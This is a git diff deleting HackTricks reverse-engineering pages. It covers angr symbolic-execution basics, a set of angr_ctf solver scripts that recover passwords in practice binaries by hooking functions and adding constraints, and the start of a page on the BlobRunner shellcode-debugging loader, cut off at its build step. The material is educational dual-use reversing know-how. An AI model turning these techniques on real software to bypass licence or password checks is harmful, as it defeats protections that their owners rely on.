-strcmp.name #'strcmp'
-strcmp.owne #<ELF Object libc-2.23.so, maps [0x1000000:0x13c999f]>
-strcmp.rebased_addr #0x1089cd0
-strcmp.linked_addr #0x89cd0
-strcmp.relative_addr #0x89cd0
-strcmp.is_export #True, as 'strcmp' is a function exported by libc
-
-#Get strcmp from the main object
-main_strcmp = proj.loader.main_object.get_symbol('strcmp')
-main_strcmp.is_export #False
-main_strcmp.is_import #True
-main_strcmp.resolvedby #<Symbol "strcmp" in libc.so.6 at 0x1089cd0>
-```
-
-### Blocks
-
-```python
-#Blocks
-block = proj.factory.block(proj.entry) #Get the block of the entrypoint fo the binary
-block.pp() #Print disassembly of the block
-block.instructions #"0xb" Get number of instructions
-block.instruction_addrs #Get instructions addresses "[0x401670, 0x401672, 0x401675, 0x401676, 0x401679, 0x40167d, 0x40167e, 0x40167f, 0x401686, 0x40168d, 0x401694]"
-```
-
-## Dynamic Analysis
-
-### Simulation Manager, States
-
-```python
-#Live States
-#This is useful to modify content in a live analysis
-state = proj.factory.entry_state()
-state.regs.rip #Get the RIP
-state.mem[proj.entry].int.resolved #Resolve as a C int (BV)
-state.mem[proj.entry].int.concreteved #Resolve as python int
-state.regs.rsi = state.solver.BVV(3, 64) #Modify RIP
-state.mem[0x1000].long = 4 #Modify mem
-
-#Other States
-project.factory.entry_state()
-project.factory.blank_state() #Most of its data left uninitialized
-project.factory.full_init_statetate() #Execute through any initializers that need to be run before the main binary's entry point
-project.factory.call_state() #Ready to execute a given function.
-
-#Simulation manager
-#The simulation manager stores all the states across the execution of the binary
-simgr = proj.factory.simulation_manager(state) #Start
-simgr.step() #Execute one step
-simgr.active[0].regs.rip #Get RIP from the last state
-```
-
-### Calling functions
-
-- You can pass a list of arguments through `args` and a dictionary of environment variables through `env` into `entry_state` and `full_init_state`. The values in these structures can be strings or bitvectors, and will be serialized into the state as the arguments and environment to the simulated execution. The default `args` is an empty list, so if the program you're analyzing expects to find at least an `argv[0]`, you should always provide that!
-- If you'd like to have `argc` be symbolic, you can pass a symbolic bitvector as `argc` to the `entry_state` and `full_init_state` constructors. Be careful, though: if you do this, you should also add a constraint to the resulting state that your value for argc cannot be larger than the number of args you passed into `args`.
-- To use the call state, you should call it with `.call_state(addr, arg1, arg2, ...)`, where `addr` is the address of the function you want to call and `argN` is the Nth argument to that function, either as a python integer, string, or array, or a bitvector. If you want to have memory allocated and actually pass in a pointer to an object, you should wrap it in an PointerWrapper, i.e. `angr.PointerWrapper("point to me!")`. The results of this API can be a little unpredictable, but we're working on it.
-
-### BitVectors
-
-```python
-#BitVectors
-state = proj.factory.entry_state()
-bv = state.solver.BVV(0x1234, 32) #Create BV of 32bits with the value "0x1234"
-state.solver.eval(bv) #Convert BV to python int
-bv.zero_extend(30) #Will add 30 zeros on the left of the bitvector
-bv.sign_extend(30) #Will add 30 zeros or ones on the left of the BV extending the sign
-```
-
-### Symbolic BitVectors & Constraints
-
-```python
-x = state.solver.BVS("x", 64) #Symbolic variable BV of length 64
-y = state.solver.BVS("y", 64)
-
-#Symbolic oprations
-tree = (x + 1) / (y + 2)
-tree #<BV64 (x_9_64 + 0x1) / (y_10_64 + 0x2)>
-tree.op #'__floordiv__' Access last operation
-tree.args #(<BV64 x_9_64 + 0x1>, <BV64 y_10_64 + 0x2>)
-tree.args[0].op #'__add__' Access of dirst arg
-tree.args[0].args #(<BV64 x_9_64>, <BV64 0x1>)
-tree.args[0].args[1].op #'BVV'
-tree.args[0].args[1].args #(1, 64)
-
-#Symbolic constraints solver
-state = proj.factory.entry_state() #Get a fresh state without constraints
-input = state.solver.BVS('input', 64)
-operation = (((input + 4) * 3) >> 1) + input
-output = 200
-state.solver.add(operation == output)
-state.solver.eval(input) #0x3333333333333381
-state.solver.add(input < 2**32)
-state.satisfiable() #False
-
-#Solver solutions
-solver.eval(expression) #one possible solution
-solver.eval_one(expression) #solution to the given expression, or throw an error if more than one solution is possible.
-solver.eval_upto(expression, n) #n solutions to the given expression, returning fewer than n if fewer than n are possible.
-solver.eval_atleast(expression, n) #n solutions to the given expression, throwing an error if fewer than n are possible.
-solver.eval_exact(expression, n) #n solutions to the given expression, throwing an error if fewer or more than are possible.
-solver.min(expression) #minimum possible solution to the given expression.
-solver.max(expression) #maximum possible solution to the given expression.
-```
-
-### Hooking
-
-```python
->>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # this is a CLASS
->>> proj.hook(0x10000, stub_func())  # hook with an instance of the class
-
->>> proj.is_hooked(0x10000)            # these functions should be pretty self-explanitory
-True
->>> proj.hooked_by(0x10000)
-<ReturnUnconstrained>
->>> proj.unhook(0x10000)
-
->>> @proj.hook(0x20000, length=5)
-... def my_hook(state):
-...     state.regs.rax = 1
-
->>> proj.is_hooked(0x20000)
-True
-```
-
-Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a symbol as the first argument, to hook the address where the symbol lives
-
-## Examples
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
deleted file mode 100644
index b92df68822f..00000000000
--- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
+++ /dev/null
@@ -1,839 +0,0 @@
-# Angr - Examples
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-> [!TIP]
-> If the program is using `scanf` to get **several values at once from stdin** you need to generate a state that starts after the **`scanf`**.
-
-Codes taken from [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf)
-
-### Input to reach address (indicating the address)
-
-```python
-import angr
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]  # :string
-  project = angr.Project(path_to_binary)
-
-  # Start in main()
-  initial_state = project.factory.entry_state()
-  # Start simulation
-  simulation = project.factory.simgr(initial_state)
-
-  # Find the way yo reach the good address
-  good_address = 0x804867d
-
-  # Avoiding this address
-  avoid_address = 0x080485A8
-  simulation.explore(find=good_address, avoid=avoid_address)
-
-  # If found a way to reach the address
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    # Print the string that Angr wrote to stdin to follow solution_state
-    print(solution_state.posix.dumps(sys.stdin.fileno()))
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Input to reach address (indicating prints)
-
-```python
-# If you don't know the address you want to recah, but you know it's printing something
-# You can also indicate that info
-
-import angr
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-  initial_state = project.factory.entry_state()
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    #Successful print
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return b'Good Job.' in stdout_output
-
-  def should_abort(state):
-    #Avoid this print
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return b'Try again.' in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-    print(solution_state.posix.dumps(sys.stdin.fileno()))
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Registry values
-
-```python
-# Angr doesn't currently support reading multiple things with scanf (Ex:
-# scanf("%u %u).) You will have to tell the simulation engine to begin the
-# program after scanf is called and manually inject the symbols into registers.
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  # Address were you want to indicate the relation BitVector - registries
-  start_address = 0x80488d1
-  initial_state = project.factory.blank_state(addr=start_address)
-
-
-  # Create Bit Vectors
-  password0_size_in_bits = 32  # :integer
-  password0 = claripy.BVS('password0', password0_size_in_bits)
-
-  password1_size_in_bits = 32  # :integer
-  password1 = claripy.BVS('password1', password1_size_in_bits)
-
-  password2_size_in_bits = 32  # :integer
-  password2 = claripy.BVS('password2', password2_size_in_bits)
-
-  # Relate it Vectors with the registriy values you are interested in to reach an address
-  initial_state.regs.eax = password0
-  initial_state.regs.ebx = password1
-  initial_state.regs.edx = password2
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    solution0 = solution_state.solver.eval(password0)
-    solution1 = solution_state.solver.eval(password1)
-    solution2 = solution_state.solver.eval(password2)
-
-    # Aggregate and format the solutions you computed above, and then print
-    # the full string. Pay attention to the order of the integers, and the
-    # expected base (decimal, octal, hexadecimal, etc).
-    solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ]))  # :string
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Stack values
-
-```python
-# Put bit vectors in th stack to find out the vallue that stack position need to
-# have to reach a rogram flow
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  # Go to some address after the scanf where values have already being set in the stack
-  start_address = 0x8048697
-  initial_state = project.factory.blank_state(addr=start_address)
-
-  # Since we are starting after scanf, we are skipping this stack construction
-  # step. To make up for this, we need to construct the stack ourselves. Let us
-  # start by initializing ebp in the exact same way the program does.
-  initial_state.regs.ebp = initial_state.regs.esp
-
-  # In this case scanf("%u %u") is used, so 2 BVS are going to be needed
-  password0 = claripy.BVS('password0', 32)
-  password1 = claripy.BVS('password1', 32)
-
-  # Now, in the address were you have stopped, check were are the scanf values saved
-  # Then, substrack form the esp registry the needing padding to get to the
-  # part of the stack were the scanf values are being saved and push the BVS
-  # (see the image below to understan this -8)
-  padding_length_in_bytes = 8  # :integer
-  initial_state.regs.esp -= padding_length_in_bytes
-
-  initial_state.stack_push(password0)
-  initial_state.stack_push(password1)
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    solution0 = solution_state.solver.eval(password0)
-    solution1 = solution_state.solver.eval(password1)
-
-    solution = ' '.join(map(str, [ solution0, solution1 ]))
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-In this scenario, the input was taken with `scanf("%u %u")` and the value `"1 1"` was given, so the values **`0x00000001`** of the stack come from the **user input**. You can see how this values starts in `$ebp - 8`. Therefore, in the code we have **subtracted 8 bytes to `$esp` (as in that moment `$ebp` and `$esp` had the same value)** and then we have pushed the BVS.
-
-![Put bit vectors in th stack to find out the vallue that stack position need to - have to reach a rogram flow: In this scenario, the input was taken with scanf("%u %u") and the value "1...](<../../../images/image (136).png>)
-
-### Static Memory values (Global variables)
-
-```python
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  #Get an address after the scanf. Once the input has already being saved in the memory positions
-  start_address = 0x8048606
-  initial_state = project.factory.blank_state(addr=start_address)
-
-  # The binary is calling scanf("%8s %8s %8s %8s").
-  # So we need 4 BVS of size 8*8
-  password0 = claripy.BVS('password0', 8*8)
-  password1 = claripy.BVS('password1', 8*8)
-  password2 = claripy.BVS('password2', 8*8)
-  password3 = claripy.BVS('password3', 8*8)
-
-  # Write the symbolic BVS in the memory positions
-  password0_address = 0xa29faa0
-  initial_state.memory.store(password0_address, password0)
-  password1_address = 0xa29faa8
-  initial_state.memory.store(password1_address, password1)
-  password2_address = 0xa29fab0
-  initial_state.memory.store(password2_address, password2)
-  password3_address = 0xa29fab8
-  initial_state.memory.store(password3_address, password3)
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    # Get the values the memory addresses should store
-    solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode()
-    solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode()
-    solution2 = solution_state.solver.eval(password2,cast_to=bytes).decode()
-    solution3 = solution_state.solver.eval(password3,cast_to=bytes).decode()
-
-    solution = ' '.join([ solution0, solution1, solution2, solution3 ])
-
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Dynamic Memory Values (Malloc)
-
-```python
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  # Get address after scanf
-  start_address = 0x804869e
-  initial_state = project.factory.blank_state(addr=start_address)
-
-  # The binary is calling scanf("%8s %8s") so 2 BVS are needed.
-  password0 = claripy.BVS('password0', 8*8)
-  password1 = claripy.BVS('password0', 8*8)
-
-  # Find a coupble of addresses that aren't used by the binary (like 0x4444444 & 0x4444454)
-  # The address generated by mallosc is going to be saved in some address
-  # Then, make that address point to the fake heap addresses were the BVS are going to be saved
-  fake_heap_address0 = 0x4444444
-  pointer_to_malloc_memory_address0 = 0xa79a118
-  initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
-  fake_heap_address1 = 0x4444454
-  pointer_to_malloc_memory_address1 = 0xa79a120
-  initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)
-
-  # Save the VBS in the new fake heap addresses created
-  initial_state.memory.store(fake_heap_address0, password0)
-  initial_state.memory.store(fake_heap_address1, password1)
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode()
-    solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode()
-
-    solution = ' '.join([ solution0, solution1 ])
-
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### File Simulation
-
-```python
-#In this challenge a password is read from a file and we want to simulate its content
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  # Get an address just before opening the file with th simbolic content
-  # Or at least when the file is not going to suffer more changes before being read
-  start_address = 0x80488db
-  initial_state = project.factory.blank_state(addr=start_address)
-
-  # Specify the filena that is going to open
-  # Note that in theory, the filename could be symbolic.
-  filename = 'WCEXPXBW.txt'
-  symbolic_file_size_bytes = 64
-
-  # Create a BV which is going to be the content of the simbolic file
-  password = claripy.BVS('password', symbolic_file_size_bytes * 8)
-
-  # Create the file simulation with the simbolic content
-  password_file = angr.storage.SimFile(filename, content=password)
-
-  # Add the symbolic file we created to the symbolic filesystem.
-  initial_state.fs.insert(filename, password_file)
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    solution = solution_state.solver.eval(password,cast_to=bytes).decode()
-
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-> [!TIP]
-> Note that the symbolic file could also contain constant data merged with symbolic data:
->
-> ```python
->  # Hello world, my name is John.
->  # ^                       ^
->  # ^ address 0             ^ address 24 (count the number of characters)
->  # In order to represent this in memory, we would want to write the string to
->  # the beginning of the file:
->  #
->  # hello_txt_contents = claripy.BVV('Hello world, my name is John.', 30*8)
->  #
->  # Perhaps, then, we would want to replace John with a
->  # symbolic variable. We would call:
->  #
->  # name_bitvector = claripy.BVS('symbolic_name', 4*8)
->  #
->  # Then, after the program calls fopen('hello.txt', 'r') and then
->  # fread(buffer, sizeof(char), 30, hello_txt_file), the buffer would contain
->  # the string from the file, except four symbolic bytes where the name would be
->  # stored.
->  # (!)
-> ```
-
-### Applying Constrains
-
-> [!TIP]
-> Sometimes simple human operations like compare 2 words of length 16 **char by char** (loop), **cost** a lot to a **angr** because it needs to generate branches **exponentially** because it generates 1 branch per if: `2^16`\
-> Therefore, it's easier to **ask angr get to a previous point** (where the real difficult part was already done) and **set those constrains manually**.
-
-```python
-# After perform some complex poperations to the input the program checks
-# char by char the password against another password saved, like in the snippet:
-#
-# #define REFERENCE_PASSWORD = "AABBCCDDEEFFGGHH";
-# int check_equals_AABBCCDDEEFFGGHH(char* to_check, size_t length) {
-#   uint32_t num_correct = 0;
-#   for (int i=0; i<length; ++i) {
-#     if (to_check[i] == REFERENCE_PASSWORD[i]) {
-#       num_correct += 1;
-#     }
-#   }
-#   return num_correct == length;
-# }
-#
-# ...
-#
-# char* input = user_input();
-# char* encrypted_input = complex_function(input);
-# if (check_equals_AABBCCDDEEFFGGHH(encrypted_input, 16)) {
-#   puts("Good Job.");
-# } else {
-#   puts("Try again.");
-# }
-#
-# The function checks if *to_check == "AABBCCDDEEFFGGHH". This is very RAM consumming
-# as the computer needs to branch every time the if statement in the loop was called (16
-# times), resulting in 2^16 = 65,536 branches, which will take too long of a
-# time to evaluate for our needs.
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  simulation = project.factory.simgr(initial_state)
-
-  # Get an address to check after the complex function and before the "easy compare" operation
-  address_to_check_constraint = 0x8048671
-  simulation.explore(find=address_to_check_constraint)
-
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    # Find were the input that is going to be compared is saved in memory
-    constrained_parameter_address = 0x804a050
-    constrained_parameter_size_bytes = 16
-    # Set the bitvector
-    constrained_parameter_bitvector = solution_state.memory.load(
-      constrained_parameter_address,
-      constrained_parameter_size_bytes
-    )
-
-    # Indicate angr that this BV at this point needs to be equal to the password
-    constrained_parameter_desired_value = 'BWYRUBQCMVSBRGFU'.encode()
-    solution_state.add_constraints(constrained_parameter_bitvector == constrained_parameter_desired_value)
-
-    print(solution_state.posix.dumps(sys.stdin.fileno()))
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-> [!CAUTION]
-> In some scenarios you can activate **veritesting**, which will merge similar status, in order to save useless branches and find the solution: `simulation = project.factory.simgr(initial_state, veritesting=True)`
-
-> [!TIP]
-> Another thing you can do in these scenarios is to **hook the function giving angr something it can understand** more easily.
-
-### Simulation Managers
-
-Some simulation managers can be more useful than others. In the previous example there was a problem as a lot of useful branches were created. Here, the **veritesting** technique will merge those and will find a solution.\
-This simulation manager can also be activated with: `simulation = project.factory.simgr(initial_state, veritesting=True)`
-
-```python
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  simulation = project.factory.simgr(initial_state)
-  # Set simulation technique
-  simulation.use_technique(angr.exploration_techniques.Veritesting())
-
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-
-    return 'Good Job.'.encode() in stdout_output  # :boolean
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output  # :boolean
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-    print(solution_state.posix.dumps(sys.stdin.fileno()))
-  else:
-    raise Exception('Could not find the solution')
-
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Hooking/Bypassing one call to a function
-
-```python
-# This level performs the following computations:
-#
-# 1. Get 16 bytes of user input and encrypt it.
-# 2. Save the result of check_equals_AABBCCDDEEFFGGHH (or similar)
-# 3. Get another 16 bytes from the user and encrypt it.
-# 4. Check that it's equal to a predefined password.
-#
-# The ONLY part of this program that we have to worry about is #2. We will be
-# replacing the call to check_equals_ with our own version, using a hook, since
-# check_equals_ will run too slowly otherwise.
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  # Hook the address of the call to hook indicating th length of the instruction (of the call)
-  check_equals_called_address = 0x80486b8
-  instruction_to_skip_length = 5
-  @project.hook(check_equals_called_address, length=instruction_to_skip_length)
-  def skip_check_equals_(state):
-    #Load the input of the function reading direcly the memory
-    user_input_buffer_address = 0x804a054
-    user_input_buffer_length = 16
-    user_input_string = state.memory.load(
-      user_input_buffer_address,
-      user_input_buffer_length
-    )
-
-    # Create a simbolic IF that if the loaded string frommemory is the expected
-    # return True (1) if not returns False (0) in eax
-    check_against_string = 'XKSPZSJKJYQCQXZV'.encode() # :string
-
-    state.regs.eax = claripy.If(
-      user_input_string == check_against_string,
-      claripy.BVV(1, 32),
-      claripy.BVV(0, 32)
-    )
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-    solution = solution_state.posix.dumps(sys.stdin.fileno()).decode()
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Hooking a function / Simprocedure
-
-```python
-# Hook to the function called check_equals_WQNDNKKWAWOLXBAC
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  # Define a class and a tun method to hook completelly a function
-  class ReplacementCheckEquals(angr.SimProcedure):
-    # This C code:
-    #
-    # int add_if_positive(int a, int b) {
-    #   if (a >= 0 && b >= 0) return a + b;
-    #   else return 0;
-    # }
-    #
-    # could be simulated with python:
-    #
-    # class ReplacementAddIfPositive(angr.SimProcedure):
-    #   def run(self, a, b):
-    #     if a >= 0 and b >=0:
-    #       return a + b
-    #     else:
-    #       return 0
-    #
-    # run(...) receives the params of the hooked function
-    def run(self, to_check, length):
-      user_input_buffer_address = to_check
-      user_input_buffer_length = length
-
-      # Read the data from the memory address given to the function
-      user_input_string = self.state.memory.load(
-        user_input_buffer_address,
-        user_input_buffer_length
-      )
-
-      check_against_string = 'WQNDNKKWAWOLXBAC'.encode()
-
-      # Return 1 if equals to the string, 0 otherways
-      return claripy.If(
-        user_input_string == check_against_string,
-        claripy.BVV(1, 32),
-        claripy.BVV(0, 32)
-      )
-
-
-  # Hook the check_equals symbol. Angr automatically looks up the address
-  # associated with the symbol. Alternatively, you can use 'hook' instead
-  # of 'hook_symbol' and specify the address of the function. To find the
-  # correct symbol, disassemble the binary.
-  # (!)
-  check_equals_symbol = 'check_equals_WQNDNKKWAWOLXBAC' # :string
-  project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    solution = solution_state.posix.dumps(sys.stdin.fileno()).decode()
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Simulate scanf with several params
-
-```python
-# This time, the solution involves simply replacing scanf with our own version,
-# since Angr does not support requesting multiple parameters with scanf.
-
-import angr
-import claripy
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  class ReplacementScanf(angr.SimProcedure):
-    # The code uses: 'scanf("%u %u", ...)'
-    def run(self, format_string, param0, param1):
-      scanf0 = claripy.BVS('scanf0', 32)
-      scanf1 = claripy.BVS('scanf1', 32)
-
-      # Get the addresses from the params and store the BVS in memory
-      scanf0_address = param0
-      self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
-      scanf1_address = param1
-      self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)
-
-      # Now, we want to 'set aside' references to our symbolic values in the
-      # globals plugin included by default with a state. You will need to
-      # store multiple bitvectors. You can either use a list, tuple, or multiple
-      # keys to reference the different bitvectors.
-      self.state.globals['solutions'] = (scanf0, scanf1)
-
-  scanf_symbol = '__isoc99_scanf'
-  project.hook_symbol(scanf_symbol, ReplacementScanf())
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-
-    # Grab whatever you set aside in the globals dict.
-    stored_solutions = solution_state.globals['solutions']
-    solution = ' '.join(map(str, map(solution_state.solver.eval, stored_solutions)))
-
-    print(solution)
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-### Static Binaries
-
-```python
-# This challenge is the exact same as the first challenge, except that it was
-# compiled as a static binary. Normally, Angr automatically replaces standard
-# library functions with SimProcedures that work much more quickly.
-#
-# To solve the challenge, manually hook any standard library c functions that
-# are used. Then, ensure that you begin the execution at the beginning of the
-# main function. Do not use entry_state.
-#
-# Here are a few SimProcedures Angr has already written for you. They implement
-# standard library functions. You will not need all of them:
-# angr.SIM_PROCEDURES['libc']['malloc']
-# angr.SIM_PROCEDURES['libc']['fopen']
-# angr.SIM_PROCEDURES['libc']['fclose']
-# angr.SIM_PROCEDURES['libc']['fwrite']
-# angr.SIM_PROCEDURES['libc']['getchar']
-# angr.SIM_PROCEDURES['libc']['strncmp']
-# angr.SIM_PROCEDURES['libc']['strcmp']
-# angr.SIM_PROCEDURES['libc']['scanf']
-# angr.SIM_PROCEDURES['libc']['printf']
-# angr.SIM_PROCEDURES['libc']['puts']
-# angr.SIM_PROCEDURES['libc']['exit']
-#
-# As a reminder, you can hook functions with something similar to:
-# project.hook(malloc_address, angr.SIM_PROCEDURES['libc']['malloc']())
-#
-# There are many more, see:
-# https://github.com/angr/angr/tree/master/angr/procedures/libc
-
-import angr
-import sys
-
-def main(argv):
-  path_to_binary = argv[1]
-  project = angr.Project(path_to_binary)
-
-  initial_state = project.factory.entry_state()
-
-  #Find the addresses were the lib functions are loaded in the binary
-  #For example you could find: call   0x804ed80 <__isoc99_scanf>
-  project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
-  project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
-  project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
-  project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())
-
-  simulation = project.factory.simgr(initial_state)
-
-  def is_successful(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Good Job.'.encode() in stdout_output  # :boolean
-
-  def should_abort(state):
-    stdout_output = state.posix.dumps(sys.stdout.fileno())
-    return 'Try again.'.encode() in stdout_output  # :boolean
-
-  simulation.explore(find=is_successful, avoid=should_abort)
-
-  if simulation.found:
-    solution_state = simulation.found[0]
-    print(solution_state.posix.dumps(sys.stdin.fileno()).decode())
-  else:
-    raise Exception('Could not find the solution')
-
-if __name__ == '__main__':
-  main(sys.argv)
-```
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/reversing/reversing-tools-basic-methods/blobrunner.md b/src/reversing/reversing-tools-basic-methods/blobrunner.md
deleted file mode 100644
index 36484cbeaad..00000000000
--- a/src/reversing/reversing-tools-basic-methods/blobrunner.md
+++ /dev/null
@@ -1,305 +0,0 @@
-# Blobrunner
-
-{{#include ../../banners/hacktricks-training.md}}
-
-[**BlobRunner**](https://github.com/OALabs/BlobRunner) is a tiny Windows **shellcode loader for debugging**: it allocates RWX memory, copies the blob, prints the base address / entry point, and transfers execution there. This is handy when the sample is **raw shellcode**, a **decrypted stage extracted from malware**, or a **position-independent blob** that does not have a PE header.
-
-The snippet below keeps the original idea, but uses **`%p` for printed pointers** so the x64 build doesn't truncate addresses while you are trying to attach a debugger or rebase the blob in your RE tool.
-
-## Build
-
-The simplest way to build the original project is from a **Visual Studio Developer Command Prompt**:
-
-```bash
-cl blobrunner.c
